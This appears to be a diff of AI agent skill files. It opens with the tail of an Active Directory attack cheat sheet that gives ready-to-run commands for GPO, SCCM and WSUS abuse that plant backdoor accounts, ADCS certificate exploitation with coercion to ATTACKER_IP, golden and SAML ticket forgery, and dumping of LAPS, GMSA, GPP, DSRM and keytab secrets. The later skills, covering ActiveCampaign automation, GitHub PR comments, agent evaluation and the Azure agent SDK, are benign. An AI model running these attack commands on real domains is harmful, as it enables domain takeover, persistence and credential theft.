.\SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount attacker --GPOName "Vulnerable GPO"
|
||||
|
||||
# Add immediate task
|
||||
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c net user backdoor Password123! /add" --GPOName "Vulnerable GPO"
|
||||
```
|
||||
|
||||
### Abuse with pyGPOAbuse (Linux)
|
||||
|
||||
```bash
|
||||
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## RODC Attacks
|
||||
|
||||
### RODC Golden Ticket
|
||||
|
||||
RODCs contain filtered AD copy (excludes LAPS/Bitlocker keys). Forge tickets for principals in msDS-RevealOnDemandGroup.
|
||||
|
||||
### RODC Key List Attack
|
||||
|
||||
**Requirements:**
|
||||
- krbtgt credentials of the RODC (-rodcKey)
|
||||
- ID of the krbtgt account of the RODC (-rodcNo)
|
||||
|
||||
```bash
|
||||
# Impacket keylistattack
|
||||
keylistattack.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -full
|
||||
|
||||
# Using secretsdump with keylist
|
||||
secretsdump.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -use-keylist
|
||||
```
|
||||
|
||||
**Using Rubeus:**
|
||||
```powershell
|
||||
Rubeus.exe golden /rodcNumber:25078 /aes256:RODC_AES256_KEY /user:Administrator /id:500 /domain:domain.local /sid:S-1-5-21-xxx
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## SCCM/WSUS Deployment
|
||||
|
||||
### SCCM Attack with MalSCCM
|
||||
|
||||
```bash
|
||||
# Locate SCCM server
|
||||
MalSCCM.exe locate
|
||||
|
||||
# Enumerate targets
|
||||
MalSCCM.exe inspect /all
|
||||
MalSCCM.exe inspect /computers
|
||||
|
||||
# Create target group
|
||||
MalSCCM.exe group /create /groupname:TargetGroup /grouptype:device
|
||||
MalSCCM.exe group /addhost /groupname:TargetGroup /host:TARGET-PC
|
||||
|
||||
# Create malicious app
|
||||
MalSCCM.exe app /create /name:backdoor /uncpath:"\\SCCM\SCCMContentLib$\evil.exe"
|
||||
|
||||
# Deploy
|
||||
MalSCCM.exe app /deploy /name:backdoor /groupname:TargetGroup /assignmentname:update
|
||||
|
||||
# Force checkin
|
||||
MalSCCM.exe checkin /groupname:TargetGroup
|
||||
|
||||
# Cleanup
|
||||
MalSCCM.exe app /cleanup /name:backdoor
|
||||
MalSCCM.exe group /delete /groupname:TargetGroup
|
||||
```
|
||||
|
||||
### SCCM Network Access Accounts
|
||||
|
||||
```powershell
|
||||
# Find SCCM blob
|
||||
Get-Wmiobject -namespace "root\ccm\policy\Machine\ActualConfig" -class "CCM_NetworkAccessAccount"
|
||||
|
||||
# Decrypt with SharpSCCM
|
||||
.\SharpSCCM.exe get naa -u USERNAME -p PASSWORD
|
||||
```
|
||||
|
||||
### WSUS Deployment Attack
|
||||
|
||||
```bash
|
||||
# Using SharpWSUS
|
||||
SharpWSUS.exe locate
|
||||
SharpWSUS.exe inspect
|
||||
|
||||
# Create malicious update
|
||||
SharpWSUS.exe create /payload:"C:\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user backdoor Password123! /add\"" /title:"Critical Update"
|
||||
|
||||
# Deploy to target
|
||||
SharpWSUS.exe approve /updateid:GUID /computername:TARGET.domain.local /groupname:"Demo Group"
|
||||
|
||||
# Check status
|
||||
SharpWSUS.exe check /updateid:GUID /computername:TARGET.domain.local
|
||||
|
||||
# Cleanup
|
||||
SharpWSUS.exe delete /updateid:GUID /computername:TARGET.domain.local /groupname:"Demo Group"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## AD Certificate Services (ADCS)
|
||||
|
||||
### ESC1 - Misconfigured Templates
|
||||
|
||||
Template allows ENROLLEE_SUPPLIES_SUBJECT with Client Authentication EKU.
|
||||
|
||||
```bash
|
||||
# Find vulnerable templates
|
||||
certipy find -u user@domain.local -p password -dc-ip DC_IP -vulnerable
|
||||
|
||||
# Request certificate as admin
|
||||
certipy req -u user@domain.local -p password -ca CA-NAME -target ca.domain.local -template VulnTemplate -upn administrator@domain.local
|
||||
|
||||
# Authenticate
|
||||
certipy auth -pfx administrator.pfx -dc-ip DC_IP
|
||||
```
|
||||
|
||||
### ESC4 - ACL Vulnerabilities
|
||||
|
||||
```python
|
||||
# Check for WriteProperty
|
||||
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -get-acl
|
||||
|
||||
# Add ENROLLEE_SUPPLIES_SUBJECT flag
|
||||
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -add CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
|
||||
|
||||
# Perform ESC1, then restore
|
||||
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -value 0 -property mspki-Certificate-Name-Flag
|
||||
```
|
||||
|
||||
### ESC8 - NTLM Relay to Web Enrollment
|
||||
|
||||
```bash
|
||||
# Start relay
|
||||
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
|
||||
|
||||
# Coerce authentication
|
||||
python3 petitpotam.py ATTACKER_IP DC_IP
|
||||
|
||||
# Use certificate
|
||||
Rubeus.exe asktgt /user:DC$ /certificate:BASE64_CERT /ptt
|
||||
```
|
||||
|
||||
### Shadow Credentials
|
||||
|
||||
```bash
|
||||
# Add Key Credential (pyWhisker)
|
||||
python3 pywhisker.py -d "domain.local" -u "user1" -p "password" --target "TARGET" --action add
|
||||
|
||||
# Get TGT with PKINIT
|
||||
python3 gettgtpkinit.py -cert-pfx "cert.pfx" -pfx-pass "password" "domain.local/TARGET" target.ccache
|
||||
|
||||
# Get NT hash
|
||||
export KRB5CCNAME=target.ccache
|
||||
python3 getnthash.py -key 'AS-REP_KEY' domain.local/TARGET
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Trust Relationship Attacks
|
||||
|
||||
### Child to Parent Domain (SID History)
|
||||
|
||||
```powershell
|
||||
# Get Enterprise Admins SID from parent
|
||||
$ParentSID = "S-1-5-21-PARENT-DOMAIN-SID-519"
|
||||
|
||||
# Create Golden Ticket with SID History
|
||||
kerberos::golden /user:Administrator /domain:child.parent.local /sid:S-1-5-21-CHILD-SID /krbtgt:KRBTGT_HASH /sids:$ParentSID /ptt
|
||||
```
|
||||
|
||||
### Forest to Forest (Trust Ticket)
|
||||
|
||||
```bash
|
||||
# Dump trust key
|
||||
lsadump::trust /patch
|
||||
|
||||
# Forge inter-realm TGT
|
||||
kerberos::golden /domain:domain.local /sid:S-1-5-21-xxx /rc4:TRUST_KEY /user:Administrator /service:krbtgt /target:external.com /ticket:trust.kirbi
|
||||
|
||||
# Use trust ticket
|
||||
.\Rubeus.exe asktgs /ticket:trust.kirbi /service:cifs/target.external.com /dc:dc.external.com /ptt
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## ADFS Golden SAML
|
||||
|
||||
**Requirements:**
|
||||
- ADFS service account access
|
||||
- Token signing certificate (PFX + decryption password)
|
||||
|
||||
```bash
|
||||
# Dump with ADFSDump
|
||||
.\ADFSDump.exe
|
||||
|
||||
# Forge SAML token
|
||||
python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.domain.local saml2 --endpoint https://target/saml --nameid administrator@domain.local
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Credential Sources
|
||||
|
||||
### LAPS Password
|
||||
|
||||
```powershell
|
||||
# PowerShell
|
||||
Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'
|
||||
|
||||
# CrackMapExec
|
||||
crackmapexec ldap DC_IP -u user -p password -M laps
|
||||
```
|
||||
|
||||
### GMSA Password
|
||||
|
||||
```powershell
|
||||
# PowerShell + DSInternals
|
||||
$gmsa = Get-ADServiceAccount -Identity 'SVC_ACCOUNT' -Properties 'msDS-ManagedPassword'
|
||||
$mp = $gmsa.'msDS-ManagedPassword'
|
||||
ConvertFrom-ADManagedPasswordBlob $mp
|
||||
```
|
||||
|
||||
```bash
|
||||
# Linux with bloodyAD
|
||||
python bloodyAD.py -u user -p password --host DC_IP getObjectAttributes gmsaAccount$ msDS-ManagedPassword
|
||||
```
|
||||
|
||||
### Group Policy Preferences (GPP)
|
||||
|
||||
```bash
|
||||
# Find in SYSVOL
|
||||
findstr /S /I cpassword \\domain.local\sysvol\domain.local\policies\*.xml
|
||||
|
||||
# Decrypt
|
||||
python3 Get-GPPPassword.py -no-pass 'DC_IP'
|
||||
```
|
||||
|
||||
### DSRM Credentials
|
||||
|
||||
```powershell
|
||||
# Dump DSRM hash
|
||||
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'
|
||||
|
||||
# Enable DSRM admin logon
|
||||
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Linux AD Integration
|
||||
|
||||
### CCACHE Ticket Reuse
|
||||
|
||||
```bash
|
||||
# Find tickets
|
||||
ls /tmp/ | grep krb5cc
|
||||
|
||||
# Use ticket
|
||||
export KRB5CCNAME=/tmp/krb5cc_1000
|
||||
```
|
||||
|
||||
### Extract from Keytab
|
||||
|
||||
```bash
|
||||
# List keys
|
||||
klist -k /etc/krb5.keytab
|
||||
|
||||
# Extract with KeyTabExtract
|
||||
python3 keytabextract.py /etc/krb5.keytab
|
||||
```
|
||||
|
||||
### Extract from SSSD
|
||||
|
||||
```bash
|
||||
# Database location
|
||||
/var/lib/sss/secrets/secrets.ldb
|
||||
|
||||
# Key location
|
||||
/var/lib/sss/secrets/.secrets.mkey
|
||||
|
||||
# Extract
|
||||
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
|
||||
```
|
||||
@@ -1,214 +0,0 @@
|
||||
---
|
||||
name: activecampaign-automation
|
||||
description: "Automate ActiveCampaign tasks via Rube MCP (Composio): manage contacts, tags, list subscriptions, automation enrollment, and tasks. Always search tools first for current schemas."
|
||||
requires:
|
||||
mcp: [rube]
|
||||
risk: unknown
|
||||
source: community
|
||||
---
|
||||
|
||||
# ActiveCampaign Automation via Rube MCP
|
||||
|
||||
Automate ActiveCampaign CRM and marketing automation operations through Composio's ActiveCampaign toolkit via Rube MCP.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Rube MCP must be connected (RUBE_SEARCH_TOOLS available)
|
||||
- Active ActiveCampaign connection via `RUBE_MANAGE_CONNECTIONS` with toolkit `active_campaign`
|
||||
- Always call `RUBE_SEARCH_TOOLS` first to get current tool schemas
|
||||
|
||||
## Setup
|
||||
|
||||
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
|
||||
|
||||
|
||||
1. Verify Rube MCP is available by confirming `RUBE_SEARCH_TOOLS` responds
|
||||
2. Call `RUBE_MANAGE_CONNECTIONS` with toolkit `active_campaign`
|
||||
3. If connection is not ACTIVE, follow the returned auth link to complete ActiveCampaign authentication
|
||||
4. Confirm connection status shows ACTIVE before running any workflows
|
||||
|
||||
## Core Workflows
|
||||
|
||||
### 1. Create and Find Contacts
|
||||
|
||||
**When to use**: User wants to create new contacts or look up existing ones
|
||||
|
||||
**Tool sequence**:
|
||||
1. `ACTIVE_CAMPAIGN_FIND_CONTACT` - Search for an existing contact [Optional]
|
||||
2. `ACTIVE_CAMPAIGN_CREATE_CONTACT` - Create a new contact [Required]
|
||||
|
||||
**Key parameters for find**:
|
||||
- `email`: Search by email address
|
||||
- `id`: Search by ActiveCampaign contact ID
|
||||
- `phone`: Search by phone number
|
||||
|
||||
**Key parameters for create**:
|
||||
- `email`: Contact email address (required)
|
||||
- `first_name`: Contact first name
|
||||
- `last_name`: Contact last name
|
||||
- `phone`: Contact phone number
|
||||
- `organization_name`: Contact's organization
|
||||
- `job_title`: Contact's job title
|
||||
- `tags`: Comma-separated list of tags to apply
|
||||
|
||||
**Pitfalls**:
|
||||
- `email` is the only required field for contact creation
|
||||
- Phone search uses a general search parameter internally; it may return partial matches
|
||||
- When combining `email` and `phone` in FIND_CONTACT, results are filtered client-side
|
||||
- Tags provided during creation are applied immediately
|
||||
- Creating a contact with an existing email may update the existing contact
|
||||
|
||||
### 2. Manage Contact Tags
|
||||
|
||||
**When to use**: User wants to add or remove tags from contacts
|
||||
|
||||
**Tool sequence**:
|
||||
1. `ACTIVE_CAMPAIGN_FIND_CONTACT` - Find contact by email or ID [Prerequisite]
|
||||
2. `ACTIVE_CAMPAIGN_MANAGE_CONTACT_TAG` - Add or remove tags [Required]
|
||||
|
||||
**Key parameters**:
|
||||
- `action`: 'Add' or 'Remove' (required)
|
||||
- `tags`: Tag names as comma-separated string or array of strings (required)
|
||||
- `contact_id`: Contact ID (provide this or contact_email)
|
||||
- `contact_email`: Contact email address (alternative to contact_id)
|
||||
|
||||
**Pitfalls**:
|
||||
- `action` values are capitalized: 'Add' or 'Remove' (not lowercase)
|
||||
- Tags can be a comma-separated string ('tag1, tag2') or an array (['tag1', 'tag2'])
|
||||
- Either `contact_id` or `contact_email` must be provided; `contact_id` takes precedence
|
||||
- Adding a tag that does not exist creates it automatically
|
||||
- Removing a non-existent tag is a no-op (does not error)
|
||||
|
||||
### 3. Manage List Subscriptions
|
||||
|
||||
**When to use**: User wants to subscribe or unsubscribe contacts from lists
|
||||
|
||||
**Tool sequence**:
|
||||
1. `ACTIVE_CAMPAIGN_FIND_CONTACT` - Find the contact [Prerequisite]
|
||||
2. `ACTIVE_CAMPAIGN_MANAGE_LIST_SUBSCRIPTION` - Subscribe or unsubscribe [Required]
|
||||
|
||||
**Key parameters**:
|
||||
- `action`: 'subscribe' or 'unsubscribe' (required)
|
||||
- `list_id`: Numeric list ID string (required)
|
||||
- `email`: Contact email address (provide this or contact_id)
|
||||
- `contact_id`: Numeric contact ID string (alternative to email)
|
||||
|
||||
**Pitfalls**:
|
||||
- `action` values are lowercase: 'subscribe' or 'unsubscribe'
|
||||
- `list_id` is a numeric string (e.g., '2'), not the list name
|
||||
- List IDs can be retrieved via the GET /api/3/lists endpoint (not available as a Composio tool; use the ActiveCampaign UI)
|
||||
- If both `email` and `contact_id` are provided, `contact_id` takes precedence
|
||||
- Unsubscribing changes status to '2' (unsubscribed) but the relationship record persists
|
||||
|
||||
### 4. Add Contacts to Automations
|
||||
|
||||
**When to use**: User wants to enroll a contact in an automation workflow
|
||||
|
||||
**Tool sequence**:
|
||||
1. `ACTIVE_CAMPAIGN_FIND_CONTACT` - Verify contact exists [Prerequisite]
|
||||
2. `ACTIVE_CAMPAIGN_ADD_CONTACT_TO_AUTOMATION` - Enroll contact in automation [Required]
|
||||
|
||||
**Key parameters**:
|
||||
- `contact_email`: Email of the contact to enroll (required)
|
||||
- `automation_id`: ID of the target automation (required)
|
||||
|
||||
**Pitfalls**:
|
||||
- The contact must already exist in ActiveCampaign
|
||||
- Automations can only be created through the ActiveCampaign UI, not via API
|
||||
- `automation_id` must reference an existing, active automation
|
||||
- The tool performs a two-step process: lookup contact by email, then enroll
|
||||
- Automation IDs can be found in the ActiveCampaign UI or via GET /api/3/automations
|
||||
|
||||
### 5. Create Contact Tasks
|
||||
|
||||
**When to use**: User wants to create follow-up tasks associated with contacts
|
||||
|
||||
**Tool sequence**:
|
||||
1. `ACTIVE_CAMPAIGN_FIND_CONTACT` - Find the contact to associate the task with [Prerequisite]
|
||||
2. `ACTIVE_CAMPAIGN_CREATE_CONTACT_TASK` - Create the task [Required]
|
||||
|
||||
**Key parameters**:
|
||||
- `relid`: Contact ID to associate the task with (required)
|
||||
- `duedate`: Due date in ISO 8601 format with timezone (required, e.g., '2025-01-15T14:30:00-05:00')
|
||||
- `dealTasktype`: Task type ID based on available types (required)
|
||||
- `title`: Task title
|
||||
- `note`: Task description/content
|
||||
- `assignee`: User ID to assign the task to
|
||||
- `edate`: End date in ISO 8601 format (must be later than duedate)
|
||||
- `status`: 0 for incomplete, 1 for complete
|
||||
|
||||
**Pitfalls**:
|
||||
- `duedate` must be a valid ISO 8601 datetime with timezone offset; do NOT use placeholder values
|
||||
- `edate` must be later than `duedate`
|
||||
- `dealTasktype` is a string ID referencing task types configured in ActiveCampaign
|
||||
- `relid` is the numeric contact ID, not the email address
|
||||
- `assignee` is a user ID; resolve user names to IDs via the ActiveCampaign UI
|
||||
|
||||
## Common Patterns
|
||||
|
||||
### Contact Lookup Flow
|
||||
|
||||
```
|
||||
1. Call ACTIVE_CAMPAIGN_FIND_CONTACT with email
|
||||
2. If found, extract contact ID for subsequent operations
|
||||
3. If not found, create contact with ACTIVE_CAMPAIGN_CREATE_CONTACT
|
||||
4. Use contact ID for tags, subscriptions, or automations
|
||||
```
|
||||
|
||||
### Bulk Contact Tagging
|
||||
|
||||
```
|
||||
1. For each contact, call ACTIVE_CAMPAIGN_MANAGE_CONTACT_TAG
|
||||
2. Use contact_email to avoid separate lookup calls
|
||||
3. Batch with reasonable delays to respect rate limits
|
||||
```
|
||||
|
||||
### ID Resolution
|
||||
|
||||
**Contact email -> Contact ID**:
|
||||
```
|
||||
1. Call ACTIVE_CAMPAIGN_FIND_CONTACT with email
|
||||
2. Extract id from the response
|
||||
```
|
||||
|
||||
## Known Pitfalls
|
||||
|
||||
**Action Capitalization**:
|
||||
- Tag actions: 'Add', 'Remove' (capitalized)
|
||||
- Subscription actions: 'subscribe', 'unsubscribe' (lowercase)
|
||||
- Mixing up capitalization causes errors
|
||||
|
||||
**ID Types**:
|
||||
- Contact IDs: numeric strings (e.g., '123')
|
||||
- List IDs: numeric strings
|
||||
- Automation IDs: numeric strings
|
||||
- All IDs should be passed as strings, not integers
|
||||
|
||||
**Automations**:
|
||||
- Automations cannot be created via API; only enrollment is possible
|
||||
- Automation must be active to accept new contacts
|
||||
- Enrolling a contact already in the automation may have no effect
|
||||
|
||||
**Rate Limits**:
|
||||
- ActiveCampaign API has rate limits per account
|
||||
- Implement backoff on 429 responses
|
||||
- Batch operations should be spaced appropriately
|
||||
|
||||
**Response Parsing**:
|
||||
- Response data may be nested under `data` or `data.data`
|
||||
- Parse defensively with fallback patterns
|
||||
- Contact search may return multiple results; match by email for accuracy
|
||||
|
||||
## Quick Reference
|
||||
|
||||
| Task | Tool Slug | Key Params |
|
||||
|------|-----------|------------|
|
||||
| Find contact | ACTIVE_CAMPAIGN_FIND_CONTACT | email, id, phone |
|
||||
| Create contact | ACTIVE_CAMPAIGN_CREATE_CONTACT | email, first_name, last_name, tags |
|
||||
| Add/remove tags | ACTIVE_CAMPAIGN_MANAGE_CONTACT_TAG | action, tags, contact_email |
|
||||
| Subscribe/unsubscribe | ACTIVE_CAMPAIGN_MANAGE_LIST_SUBSCRIPTION | action, list_id, email |
|
||||
| Add to automation | ACTIVE_CAMPAIGN_ADD_CONTACT_TO_AUTOMATION | contact_email, automation_id |
|
||||
| Create task | ACTIVE_CAMPAIGN_CREATE_CONTACT_TASK | relid, duedate, dealTasktype, title |
|
||||
|
||||
## When to Use
|
||||
This skill is applicable to execute the workflow or actions described in the overview.
|
||||
@@ -1,60 +0,0 @@
|
||||
---
|
||||
name: address-github-comments
|
||||
description: "Use when you need to address review or issue comments on an open GitHub Pull Request using the gh CLI."
|
||||
risk: unknown
|
||||
source: community
|
||||
---
|
||||
|
||||
# Address GitHub Comments
|
||||
|
||||
## Overview
|
||||
|
||||
Efficiently address PR review comments or issue feedback using the GitHub CLI (`gh`). This skill ensures all feedback is addressed systematically.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
Ensure `gh` is authenticated.
|
||||
|
||||
```bash
|
||||
gh auth status
|
||||
```
|
||||
|
||||
If not logged in, run `gh auth login`.
|
||||
|
||||
## Workflow
|
||||
|
||||
### 1. Inspect Comments
|
||||
|
||||
Fetch the comments for the current branch's PR.
|
||||
|
||||
```bash
|
||||
gh pr view --comments
|
||||
```
|
||||
|
||||
Or use a custom script if available to list threads.
|
||||
|
||||
### 2. Categorize and Plan
|
||||
|
||||
- List the comments and review threads.
|
||||
- Propose a fix for each.
|
||||
- **Wait for user confirmation** on which comments to address first if there are many.
|
||||
|
||||
### 3. Apply Fixes
|
||||
|
||||
Apply the code changes for the selected comments.
|
||||
|
||||
### 4. Respond to Comments
|
||||
|
||||
Once fixed, respond to the threads as resolved.
|
||||
|
||||
```bash
|
||||
gh pr comment <PR_NUMBER> --body "Addressed in latest commit."
|
||||
```
|
||||
|
||||
## Common Mistakes
|
||||
|
||||
- **Applying fixes without understanding context**: Always read the surrounding code of a comment.
|
||||
- **Not verifying auth**: Check `gh auth status` before starting.
|
||||
|
||||
## When to Use
|
||||
This skill is applicable to execute the workflow or actions described in the overview.
|
||||
@@ -1,68 +0,0 @@
|
||||
---
|
||||
name: agent-evaluation
|
||||
description: "Testing and benchmarking LLM agents including behavioral testing, capability assessment, reliability metrics, and production monitoring\u2014where even top agents achieve less than 50% on re..."
|
||||
source: vibeship-spawner-skills (Apache 2.0)
|
||||
risk: unknown
|
||||
---
|
||||
|
||||
# Agent Evaluation
|
||||
|
||||
You're a quality engineer who has seen agents that aced benchmarks fail spectacularly in
|
||||
production. You've learned that evaluating LLM agents is fundamentally different from
|
||||
testing traditional software—the same input can produce different outputs, and "correct"
|
||||
often has no single answer.
|
||||
|
||||
You've built evaluation frameworks that catch issues before production: behavioral regression
|
||||
tests, capability assessments, and reliability metrics. You understand that the goal isn't
|
||||
100% test pass rate—it
|
||||
|
||||
## Capabilities
|
||||
|
||||
- agent-testing
|
||||
- benchmark-design
|
||||
- capability-assessment
|
||||
- reliability-metrics
|
||||
- regression-testing
|
||||
|
||||
## Requirements
|
||||
|
||||
- testing-fundamentals
|
||||
- llm-fundamentals
|
||||
|
||||
## Patterns
|
||||
|
||||
### Statistical Test Evaluation
|
||||
|
||||
Run tests multiple times and analyze result distributions
|
||||
|
||||
### Behavioral Contract Testing
|
||||
|
||||
Define and test agent behavioral invariants
|
||||
|
||||
### Adversarial Testing
|
||||
|
||||
Actively try to break agent behavior
|
||||
|
||||
## Anti-Patterns
|
||||
|
||||
### ❌ Single-Run Testing
|
||||
|
||||
### ❌ Only Happy Path Tests
|
||||
|
||||
### ❌ Output String Matching
|
||||
|
||||
## ⚠️ Sharp Edges
|
||||
|
||||
| Issue | Severity | Solution |
|
||||
|-------|----------|----------|
|
||||
| Agent scores well on benchmarks but fails in production | high | // Bridge benchmark and production evaluation |
|
||||
| Same test passes sometimes, fails other times | high | // Handle flaky tests in LLM agent evaluation |
|
||||
| Agent optimized for metric, not actual task | medium | // Multi-dimensional evaluation to prevent gaming |
|
||||
| Test data accidentally used in training or prompts | critical | // Prevent data leakage in agent evaluation |
|
||||
|
||||
## Related Skills
|
||||
|
||||
Works well with: `multi-agent-orchestration`, `agent-communication`, `autonomous-agents`
|
||||
|
||||
## When to Use
|
||||
This skill is applicable to execute the workflow or actions described in the overview.
|
||||
@@ -1,338 +0,0 @@
|
||||
---
|
||||
name: agent-framework-azure-ai-py
|
||||
description: "Build Azure AI Foundry agents using the Microsoft Agent Framework Python SDK (agent-framework-azure-ai). Use when creating persistent agents with AzureAIAgentsProvider, using hosted tools (code int..."
|
||||
package: agent-framework-azure-ai
|
||||
risk: unknown
|
||||
source: community
|
||||
---
|
||||
|
||||
# Agent Framework Azure Hosted Agents
|
||||
|
||||
Build persistent agents on Azure AI Foundry using the Microsoft Agent Framework Python SDK.
|
||||
|
||||
## Architecture
|
||||
|
||||
```
|
||||
User Query → AzureAIAgentsProvider → Azure AI Agent Service (Persistent)
|
||||
↓
|
||||
Agent.run() / Agent.run_stream()
|
||||
↓
|
||||
Tools: Functions | Hosted (Code/Search/Web) | MCP
|
||||
↓
|
||||
AgentThread (conversation persistence)
|
||||
```
|
||||
|
||||
## Installation
|
||||
|
||||
```bash
|
||||
# Full framework (recommended)
|
||||
pip install agent-framework --pre
|
||||
|
||||
# Or Azure-specific package only
|
||||
pip install agent-framework-azure-ai --pre
|
||||
```
|
||||
|
||||
## Environment Variables
|
||||
|
||||
```bash
|
||||
export AZURE_AI_PROJECT_ENDPOINT="https://<project>.services.ai.azure.com/api/projects/<project-id>"
|
||||
export AZURE_AI_MODEL_DEPLOYMENT_NAME="gpt-4o-mini"
|
||||
export BING_CONNECTION_ID="your-bing-connection-id" # For web search
|
||||
```
|
||||
|
||||
## Authentication
|
||||
|
||||
```python
|
||||
from azure.identity.aio import AzureCliCredential, DefaultAzureCredential
|
||||
|
||||
# Development
|
||||
credential = AzureCliCredential()
|
||||
|
||||
# Production
|
||||
credential = DefaultAzureCredential()
|
||||
```
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### Basic Agent
|
||||
|
||||
```python
|
||||
import asyncio
|
||||
from agent_framework.azure import AzureAIAgentsProvider
|
||||
from azure.identity.aio import AzureCliCredential
|
||||
|
||||
async def main():
|
||||
async with (
|
||||
AzureCliCredential() as credential,
|
||||
AzureAIAgentsProvider(credential=credential) as provider,
|
||||
):
|
||||
agent = await provider.create_agent(
|
||||
name="MyAgent",
|
||||
instructions="You are a helpful assistant.",
|
||||
)
|
||||
|
||||
result = await agent.run("Hello!")
|
||||
print(result.text)
|
||||
|
||||
asyncio.run(main())
|
||||
```
|
||||
|
||||
### Agent with Function Tools
|
||||
|
||||
```python
|
||||
from typing import Annotated
|
||||
from pydantic import Field
|
||||
from agent_framework.azure import AzureAIAgentsProvider
|
||||
from azure.identity.aio import AzureCliCredential
|
||||
|
||||
def get_weather(
|
||||
location: Annotated[str, Field(description="City name to get weather for")],
|
||||
) -> str:
|
||||
"""Get the current weather for a location."""
|
||||
return f"Weather in {location}: 72°F, sunny"
|
||||
|
||||
def get_current_time() -> str:
|
||||
"""Get the current UTC time."""
|
||||
from datetime import datetime, timezone
|
||||
return datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M:%S UTC")
|
||||
|
||||
async def main():
|
||||
async with (
|
||||
AzureCliCredential() as credential,
|
||||
AzureAIAgentsProvider(credential=credential) as provider,
|
||||
):
|
||||
agent = await provider.create_agent(
|
||||
name="WeatherAgent",
|
||||
instructions="You help with weather and time queries.",
|
||||
tools=[get_weather, get_current_time], # Pass functions directly
|
||||
)
|
||||
|
||||
result = await agent.run("What's the weather in Seattle?")
|
||||
print(result.text)
|
||||
```
|
||||
|
||||
### Agent with Hosted Tools
|
||||
|
||||
```python
|
||||
from agent_framework import (
|
||||
HostedCodeInterpreterTool,
|
||||
HostedFileSearchTool,
|
||||
HostedWebSearchTool,
|
||||
)
|
||||
from agent_framework.azure import AzureAIAgentsProvider
|
||||
from azure.identity.aio import AzureCliCredential
|
||||
|
||||
async def main():
|
||||
async with (
|
||||
AzureCliCredential() as credential,
|
||||
AzureAIAgentsProvider(credential=credential) as provider,
|
||||
):
|
||||
agent = await provider.create_agent(
|
||||
name="MultiToolAgent",
|
||||
instructions="You can execute code, search files, and search the web.",
|
||||
tools=[
|
||||
HostedCodeInterpreterTool(),
|
||||
HostedWebSearchTool(name="Bing"),
|
||||
],
|
||||
)
|
||||
|
||||
result = await agent.run("Calculate the factorial of 20 in Python")
|
||||
print(result.text)
|
||||
```
|
||||
|
||||
### Streaming Responses
|
||||
|
||||
```python
|
||||
async def main():
|
||||
async with (
|
||||
AzureCliCredential() as credential,
|
||||
AzureAIAgentsProvider(credential=credential) as provider,
|
||||
):
|
||||
agent = await provider.create_agent(
|
||||
name="StreamingAgent",
|
||||
instructions="You are a helpful assistant.",
|
||||
)
|
||||
|
||||
print("Agent: ", end="", flush=True)
|
||||
async for chunk in agent.run_stream("Tell me a short story"):
|
||||
if chunk.text:
|
||||
print(chunk.text, end="", flush=True)
|
||||
print()
|
||||
```
|
||||
|
||||
### Conversation Threads
|
||||
|
||||
```python
|
||||
from agent_framework.azure import AzureAIAgentsProvider
|
||||
from azure.identity.aio import AzureCliCredential
|
||||
|
||||
async def main():
|
||||
async with (
|
||||
AzureCliCredential() as credential,
|
||||
AzureAIAgentsProvider(credential=credential) as provider,
|
||||
):
|
||||
agent = await provider.create_agent(
|
||||
name="ChatAgent",
|
||||
instructions="You are a helpful assistant.",
|
||||
tools=[get_weather],
|
||||
)
|
||||
|
||||
# Create thread for conversation persistence
|
||||
thread = agent.get_new_thread()
|
||||
|
||||
# First turn
|
||||
result1 = await agent.run("What's the weather in Seattle?", thread=thread)
|
||||
print(f"Agent: {result1.text}")
|
||||
|
||||
# Second turn - context is maintained
|
||||
result2 = await agent.run("What about Portland?", thread=thread)
|
||||
print(f"Agent: {result2.text}")
|
||||
|
||||
# Save thread ID for later resumption
|
||||
print(f"Conversation ID: {thread.conversation_id}")
|
||||
```
|
||||
|
||||
### Structured Outputs
|
||||
|
||||
```python
|
||||
from pydantic import BaseModel, ConfigDict
|
||||
from agent_framework.azure import AzureAIAgentsProvider
|
||||
from azure.identity.aio import AzureCliCredential
|
||||
|
||||
class WeatherResponse(BaseModel):
|
||||
model_config = ConfigDict(extra="forbid")
|
||||
|
||||
location: str
|
||||
temperature: float
|
||||
unit: str
|
||||
conditions: str
|
||||
|
||||
async def main():
|
||||
async with (
|
||||
AzureCliCredential() as credential,
|
||||
AzureAIAgentsProvider(credential=credential) as provider,
|
||||
):
|
||||
agent = await provider.create_agent(
|
||||
name="StructuredAgent",
|
||||
instructions="Provide weather information in structured format.",
|
||||
response_format=WeatherResponse,
|
||||
)
|
||||
|
||||
result = await agent.run("Weather in Seattle?")
|
||||
